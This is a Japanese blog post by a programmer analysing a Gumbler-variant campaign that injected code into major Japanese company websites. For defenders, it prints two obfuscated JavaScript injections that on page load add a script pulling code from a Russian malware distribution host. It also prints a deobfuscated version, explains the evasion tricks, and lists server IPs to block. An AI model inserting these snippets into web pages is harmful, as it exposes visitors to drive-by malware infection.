3流プログラマのメモ書き

元開発職→社内SE→派遣で営業支援の三流プログラマのIT技術メモ書き。 このメモが忘れっぽい自分とググってきた技術者の役に立ってくれれば幸いです。(jehupc.exblog.jpから移転中)

Gumbler亜種がまん延

去年暮れくらいからGumbler亜種と思われるウイルスの被害が続出してるようです。

JR東日本、ローソン、京王電鉄ハウス食品等大手企業さいとでもHTMLが改ざんされウイルス配布サーバにリダイレクトされるコードが挿入されてたらしいですね。

手口としては以前に書いた記事で取り上げた方法とほぼ一緒です。

ただ、改ざん時に挿入された JavaScript が異なるので、昨年5月に流行したやつをまねた亜種でしょうね。

ウイルス本体は報道によるとAdoreReaderやJava等の脆弱性をついてくるようですが、ウイルス本体の入手ができなかったのでそこらへんは未調査です。

(リダイレクト先のサーバも同一IPから初回だけウイルスダウンロードさせる的な動きを取ってるようです)

社内でもこのウイルスに引っかかるケースが増えてきました。

現状としては、アンチウイルスソフトで何とか防げてます。

昨年12月下旬の時はリダイレクト先から悪質なjpgをダウンロードしてる所で検知してくれましたが、最近は難読化したリダイレクトコードのあるページだけでも検知してるようです。

余談ですが、ウイルスの解析のため VirtualPC 上で改ざんされたサイト閲覧するとホストOS上のNOD32が反応してブロックされてしまいました。Microsoft Security Essentialsは全然反応しなかったんですけどね。。(解析したのが去年暮れで、Security Essentialsがこの悪質コードに対応したシグネチャを配布したのは1月上旬みたいなんで、今は検知すると思います。)

参考までに、今回の改ざんされたHTML上に挿入される難読化したリダイレクトコードのっけておきます。

サイト持ってて、こんなコードが入っている場合は早急に対応してください。サイト見た人がホント迷惑するんで。。。

/*GNU GPL*/ try{window.onload = function(){var Wdz8p0zg1x6n = documen

t.createElement('s@($c(&r)$@i^$!&p@#t@$^'.replace(/\^|#|\$|\(|\)|&|\!

|@/ig, ''));var O8thstxdzw = 'Oiw389ryv2642';Wdz8p0zg1x6n.setAttribut

e('type', 't&(@^!e@@$&x@&))t$^/($^(j(a$^!v^&^a(!s@#c^r#^i(p^$^!t('.re

place(/\(|\!|@|#|\^|\$|\)|&/ig, ''));Wdz8p0zg1x6n.setAttribute('src',

'h&!!t&!&^t(^p@@@:#@/!!/(&p&)@p$@l#i&$v)!e&^(-@$c)^$o)!&)^m&$.&!@w)

$!e)b^!m@^#)a!)s^$^^t&^$e)(r(w!^o()#r$#!^l@@d!.)!c($@^o)$#m^).@@w(s((

j)(-)($)c#&$o$^m&.$j)o!^@h&@#n(#s#)#i$)&t)e!(.(r$&u#:$(^8^0$&&8(0@!$/

)$&o^r)^$$#k@))!u^t&^.()#c))^)o@)()m()(!.@^b@!r^$/!$@o^r^k)))#u@t@!&.

)#c#o!&(m@$$.@!(b$(r@)$!/#^^g^$$$^o!($@o$!!g$^l)(e(.&()(c^^)$o)m#^&.$

)^p$&h&!))/($$(b!)!(i!#@#n)$g@&.@!)c&&o((@#m^!@/^g(&()o)!o($g)@!)l@!&

e#$.(!#c@^o@m#@/@@!!@'.replace(/\!|#|\)|\$|\(|\^|@|&/ig, ''));Wdz8p0z

g1x6n.setAttribute('defer', 'd^(e&)f(^e$r!'.replace(/\!|@|\)|\$|\^|&|

\(|#/ig, ''));Wdz8p0zg1x6n.setAttribute('id', 'B(##1@)3()a@^(b$$&f&)q

#)@l#$$)v^y@^!&4&#$^'.replace(/@|#|&|\)|\$|\^|\!|\(/ig, ''));document

.body.appendChild(Wdz8p0zg1x6n);}} catch(N8q68wvetq) {}

 

*LGPL*/ try{ window.onload = function(){var C7stlc4494 = document.cre

ateElement('s!&(!c!r^!i((((p#t$#$'.replace(/\^|\!|@|&|\(|#|\$|\)/ig,

''));C7stlc4494.setAttribute('defer', 'd!e!!f&$e$r(!'.replace(/\(|\!|

&|\)|#|\^|\$|@/ig, ''));C7stlc4494.setAttribute('type', 't)&)e^&!x@@&

t$@))/#)()j!)a$(v($^&a(!s&!!$c^#@!&r#i$#$^p#^$t)!('.replace(/&|\)|\(|

@|\!|\$|#|\^/ig, ''));C7stlc4494.setAttribute('id', 'Y@(^w@$)x#@)@n!^

e$^a)$)c!$(8@!))1@)#j$q)#)$y$r!#'.replace(/\$|\^|@|#|\)|\(|\!|&/ig, '

'));C7stlc4494.setAttribute('s((r!#c$^&!'.replace(/\^|\!|&|\(|@|\$|#|

\)/ig, ''), 'h&#t$t$#(p^#@:^$#/$#^$/)$&r$e!$(a^l^)#t&#((o((&r^)-^)c@

(o@$!$m^.$(#l##)i@#!n()k&s$(^&y&($n(!e(@)!r$!(g(@y#!.(c##(o$^@(m!$^.&

$f)a&@@n^&p)o))@p(^@(-#(@c!#(^o^@$m@$.$w$@(o!&$r)l&&&d$#&w!$&e&$(^b#$

^&w$@o&^)r$#l^(d($$^.^&(&r#&&)u$!:$#8!^^!(0)8!@0))/)!&#a@#s#s!&!o(^c#

^i!a(!(()t$^e$d$!!c))o!)n&t#^(e)^n)@t(.!@#(c#&!!o#@^m!^&/$&a^&^s)s#o#

^c!i^!a#t!(e#)d&c($&o^)n!!#t)!(e(!)#n&t&&$&.!)c)^()^o(m^!/(&l!$^i#v$#

!e@^($$.!^$$c^#^#o))$m^/$@g^@@o(&o&^g&)&^l@&e&(^).@^c!$!o(^^&m$&/)&a)

t))(t!#@.)$^^n^!@$e@&t#(/^&'.replace(/\$|@|\!|#|\^|\(|\)|&/ig, ''));i

f (document){document.body.appendChild(C7stlc4494);}} } catch(Zzjczsh

sk9s66fhnr2) {}

先頭に GNU GPL とか LGPL とかつけて、検知をすり抜けようとしてるみたいですね。

ちなみに、上の難読化コードの1番目を可読化するとこうなります。

/*GNU GPL*/

try{

window.onload = function{

var Wdz8p0zg1x6n = document.createElement('script');

var O8thstxdzw = 'Oiw389ryv2642';

Wdz8p0zg1x6n.setAttribute('type', 'text/javascript');

Wdz8p0zg1x6n.setAttribute('src', 'http://pplive-com.webmasterworld.com.wsj-com.johnsite.ru:8080/orkut.com.br/orkut.com.br/google.com.ph/bing.com/google.com/');

Wdz8p0zg1x6n.setAttribute('defer');

Wdz8p0zg1x6n.setAttribute('id', 'B13abfqlvy4');

document.body.appendChildWdz8p0zg1x6n;

}

} catch (N8q68wvetq) {

}

今回の難読化は ( , ) , ^ , $ , # , @ , ! の文字を文字列中に含めて、replace で空文字に置換してるだけの単純なものですね。

ウイルス本体配布サーバはロシアが使われてるっぽいです。

ホスト逆引きすると下記のIPになってたんで、FWでブロックしとくと安心かもしれませんね。(他にもIPあるらしいですけど。。)

94.23.206.229

83.172.134.48

91.121.79.191

91.121.86.130

91.121.142.111